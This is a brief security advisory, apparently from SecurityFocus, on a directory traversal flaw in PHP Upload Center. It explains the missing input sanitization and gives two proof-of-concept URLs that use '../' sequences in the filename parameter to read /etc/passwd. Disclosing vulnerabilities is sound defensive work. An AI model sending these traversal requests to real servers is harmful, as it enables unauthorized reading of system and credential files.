source: https://www.securityfocus.com/bid/15621/info
PHP Upload Center is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.
An attacker can exploit this issue to retrieve arbitrary remote files on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
http://www.example.com/upload/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd
http://www.example.com/instaladores/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd